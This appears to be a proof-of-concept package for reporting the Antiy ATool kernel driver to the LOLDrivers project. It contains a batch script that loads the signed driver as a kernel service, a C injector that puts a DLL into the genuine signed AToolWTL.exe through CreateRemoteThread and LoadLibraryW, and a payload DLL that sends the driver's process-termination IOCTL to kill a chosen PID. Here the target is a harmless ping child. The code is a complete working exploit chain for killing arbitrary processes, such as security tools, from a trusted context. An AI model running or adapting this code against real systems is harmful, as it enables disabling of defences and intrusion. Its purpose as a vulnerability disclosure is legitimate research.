Bounded Antiy ATool 2.0.26.819 BYOTC PoC for LOLDrivers submission

atool-byotc-lab.cmd

@echo off
setlocal
set "DRIVER=%~dp0AToolsKrnl64.sys"
set "RESULT=C:\Users\Public\atool_byotc_result.txt"

sc.exe stop AToolsKrnl >nul 2>&1
sc.exe delete AToolsKrnl >nul 2>&1
sc.exe create AToolsKrnl type= kernel start= demand binPath= "%DRIVER%"
if errorlevel 1 goto service_failed
sc.exe start AToolsKrnl
if errorlevel 1 goto service_failed

copy /y "%~dp0atool_payload.dll" "C:\Users\Public\atool_payload.dll" >nul
del /q "%RESULT%" >nul 2>&1
echo [*] Launching genuine signed AToolWTL.exe suspended and using only its creator handle.
"%~dp0parentinject.exe" "%~dp0ATool64\AToolWTL.exe"
echo [*] Payload result:
type "%RESULT%"
goto done

:service_failed
echo [!] Driver setup failed: %ERRORLEVEL%

:done
echo [*] Press any key to close.
pause >nul

atool_parent_injector.c

#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>
#include <wchar.h>

int wmain(int argc, wchar_t **argv) {
    const wchar_t *payload = L"C:\\Users\\Public\\atool_payload.dll";
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    wchar_t command[MAX_PATH * 2];
    wchar_t directory[MAX_PATH * 2];
    wchar_t *slash;
    SIZE_T payload_size;
    void *remote;
    HANDLE thread;
    DWORD module = 0;

    if (argc != 2) {
        fwprintf(stderr, L"usage: atool_parent_injector.exe path-to-AToolWTL.exe\n");
        return 1;
    }
    wcsncpy(command, argv[1], _countof(command) - 1);
    command[_countof(command) - 1] = 0;
    wcsncpy(directory, argv[1], _countof(directory) - 1);
    directory[_countof(directory) - 1] = 0;
    slash = wcsrchr(directory, L'\\');
    if (slash) *slash = 0;
    si.cb = sizeof(si);

    if (!CreateProcessW(argv[1], command, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, directory, &si, &pi)) {
        wprintf(L"CreateProcessW failed: %lu\n", GetLastError());
        return 2;
    }
    wprintf(L"Created genuine AToolWTL.exe suspended: pid=%lu handle=%p\n",
            pi.dwProcessId, pi.hProcess);

    payload_size = (wcslen(payload) + 1) * sizeof(wchar_t);
    remote = VirtualAllocEx(pi.hProcess, NULL, payload_size,
                            MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (!remote || !WriteProcessMemory(pi.hProcess, remote, payload,
                                       payload_size, NULL)) {
        wprintf(L"Parent-handle staging failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return 3;
    }

    thread = CreateRemoteThread(pi.hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"),
                                              "LoadLibraryW"),
        remote, 0, NULL);
    if (!thread) {
        wprintf(L"Parent-handle CreateRemoteThread failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return 4;
    }
    WaitForSingleObject(thread, 15000);
    GetExitCodeThread(thread, &module);
    wprintf(L"LoadLibraryW result=0x%08lx\n", module);
    CloseHandle(thread);

    Sleep(8000);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return module ? 0 : 5;
}

atool_terminate_payload.c

#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>

#define ATOOLS_IOCTL_TERMINATE_PROCESS 0x99000050u

static HANDLE open_atools(void) {
    HANDLE h = CreateFileW(L"\\\\.\\Global\\AToolsKrnl",
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                           OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        h = CreateFileW(L"\\\\.\\AToolsKrnl",
                        GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    }
    return h;
}

static void log_line(HANDLE log, const char *text) {
    DWORD written;
    WriteFile(log, text, (DWORD)strlen(text), &written, NULL);
}

static DWORD WINAPI worker(void *unused) {
    HANDLE log, device;
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    wchar_t command[] = L"C:\\Windows\\System32\\cmd.exe /c ping 127.0.0.1 -n 60 > nul";
    char line[512];
    DWORD bytes = 0, error, wait_result, exit_code = STILL_ACTIVE;
    BOOL ok;
    (void)unused;

    log = CreateFileW(L"C:\\Users\\Public\\atool_byotc_result.txt",
                      GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (log == INVALID_HANDLE_VALUE) return 1;
    si.cb = sizeof(si);
    if (!CreateProcessW(NULL, command, NULL, NULL, FALSE, CREATE_NO_WINDOW,
                        NULL, NULL, &si, &pi)) {
        snprintf(line, sizeof(line), "CreateProcessW failed: %lu\r\n", GetLastError());
        log_line(log, line);
        CloseHandle(log);
        return 2;
    }

    device = open_atools();
    if (device == INVALID_HANDLE_VALUE) {
        snprintf(line, sizeof(line), "trusted-host device open failed: %lu\r\n",
                 GetLastError());
        log_line(log, line);
    } else {
        DWORD target_pid = pi.dwProcessId;
        SetLastError(ERROR_SUCCESS);
        ok = DeviceIoControl(device, ATOOLS_IOCTL_TERMINATE_PROCESS,
                             &target_pid, sizeof(target_pid), NULL, 0,
                             &bytes, NULL);
        error = GetLastError();
        wait_result = WaitForSingleObject(pi.hProcess, 5000);
        GetExitCodeProcess(pi.hProcess, &exit_code);
        snprintf(line, sizeof(line),
                 "host_pid=%lu target_pid=%lu ioctl_ok=%d error=%lu bytes=%lu "
                 "wait=%lu child_exit=%lu\r\n",
                 GetCurrentProcessId(), target_pid, ok, error, bytes,
                 wait_result, exit_code);
        log_line(log, line);
        if (wait_result == WAIT_OBJECT_0) {
            log_line(log, "CONFIRMED_BYOTC: injected trusted client terminated the sacrificial child.\r\n");
        } else {
            log_line(log, "NOT_CONFIRMED: sacrificial child was not terminated by the driver.\r\n");
        }
        CloseHandle(device);
    }
    if (WaitForSingleObject(pi.hProcess, 0) == WAIT_TIMEOUT)
        TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(log);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, void *reserved) {
    (void)reserved;
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(instance);
        HANDLE thread = CreateThread(NULL, 0, worker, NULL, 0, NULL);
        if (thread) CloseHandle(thread);
    }
    return TRUE;
}